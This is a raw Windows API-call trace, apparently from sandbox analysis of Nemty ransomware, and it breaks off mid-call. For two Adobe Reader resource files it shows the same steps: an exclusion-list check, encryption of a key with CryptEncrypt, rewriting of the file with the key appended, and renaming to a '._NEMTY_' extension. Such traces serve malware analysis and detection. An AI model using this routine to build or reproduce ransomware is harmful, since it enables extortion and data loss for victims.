(lpString1="DisplayLanguageNames.es_PY.txt", lpString2="ntuser.dat") returned -1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="desktop.ini") returned 1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="CONFIG.SYS") returned 1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="RECYCLER") returned -1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="bootmgr") returned 1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="programdata") returned -1 [0215.519] lstrcmpiW (lpString1="DisplayLanguageNames.es_PY.txt", lpString2="appdata") returned 1 [0215.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PY.txt", lpUsedDefaultChar=0x0) returned 30 [0215.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PY.txt", lpUsedDefaultChar=0x0) returned 30 [0215.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PY.txt", lpUsedDefaultChar=0x0) returned 30 [0215.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PY.txt", lpUsedDefaultChar=0x0) returned 30 [0215.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.520] Sleep (dwMilliseconds=0x5) [0215.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x341a1850, dwHighDateTime=0x1d561e8)) [0215.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x341a1850, dwHighDateTime=0x1d561e8)) [0215.527] GetLastError () returned 0x0 [0215.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.528] GetLastError () returned 0x0 [0215.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.528] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.528] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.528] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.528] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="pUkDUfGMx5XNdvYady2l7XH7TDQwDt2LeF7PXl0jtLOimmDNH798lCfoOteOvvVo\r\nl7rRAK19X/3rgw/NaJXvrPQW+Yf0ZXM+IGRwkt6Vn6RGlNgmQ2e3cM/NWtYKnHtU\r\n9nltcQ2cYqQi9LxA/i71OJMkMDeWH5LR9DIK235GB3Vq+H3Q3kz76m0Q1M2xIavi\r\nH9zIZEKIP9FeXcgxZZSYZx6XmnDE9usebgM/SUExf7fOTXNNPL2/5hPdNoGrcXPY\r\nDtohowMNhl77Pv5uSRneLj9gxM9G4/jFxb/PJ0LZ5NmgIdx3q3HVxfDdMWJZWBmL\r\nWgfZ1LwidC57883D3JmBfQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.529] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.529] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.529] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.533] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.533] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.533] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.533] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.533] CloseHandle (hObject=0x2e8) returned 1 [0215.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.534] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt._nemty_kgobjgd_")) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.534] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_SV.txt", cAlternateFileName="DIBEBA~1.TXT")) returned 1 [0215.534] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2=".") returned 1 [0215.534] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="..") returned 1 [0215.534] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="...") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="windows") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="rsa") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="NTDETECT.COM") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="ntldr") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="MSDOS.SYS") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="IO.SYS") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="boot.ini") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="boot.ini") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="ntuser.dat") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="desktop.ini") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="CONFIG.SYS") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="RECYCLER") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="bootmgr") returned 1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="programdata") returned -1 [0215.535] lstrcmpiW (lpString1="DisplayLanguageNames.es_SV.txt", lpString2="appdata") returned 1 [0215.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_SV.txt", lpUsedDefaultChar=0x0) returned 30 [0215.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_SV.txt", lpUsedDefaultChar=0x0) returned 30 [0215.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_SV.txt", lpUsedDefaultChar=0x0) returned 30 [0215.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_SV.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_SV.txt", lpUsedDefaultChar=0x0) returned 30 [0215.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.536] Sleep (dwMilliseconds=0x5) [0215.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x341c79b0, dwHighDateTime=0x1d561e8)) [0215.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x341c79b0, dwHighDateTime=0x1d561e8)) [0215.543] GetLastError () returned 0x0 [0215.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.543] GetLastError () returned 0x0 [0215.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.543] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.543] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.544] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.544] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="YAx6L9gvtwzzUn4+PHQJmndDhZsXMe53h2h1fLjTLFtJwC9Hvvkd/r/eg4BNS71l\r\nIrCJhmBlq9RMNWj8Qm2PxrzItNl7vwnJMZJ95ZnXIFsbZznJ32q4mi+XuqGDGZ3Z\r\n004pDLoWcyKcu1WAqINSzIHMfiTYPlCnTkxyTH4TSyrV19QXZdS207S9Di+mXaxM\r\nU693FPCRxPxogf6ukrDHHIPKl5VoJMn2Xboscs7as+fh8K5pkUfXapUDbAIFS3qH\r\nnZlUhO/YX3n77l8egJimZrgfxr+lQ6KYibqRY+TGZ4NXqEsYZSfWdQl2EjN+kqoa\r\nEZILe4IV90qZCJsd3c3/Ng==\r\n", pcchString=0x653e5dc) returned 1 [0215.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.544] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28360) returned 1 [0215.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.544] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.544] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.555] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.555] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.555] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec8 [0215.555] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.555] CloseHandle (hObject=0x2e8) returned 1 [0215.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 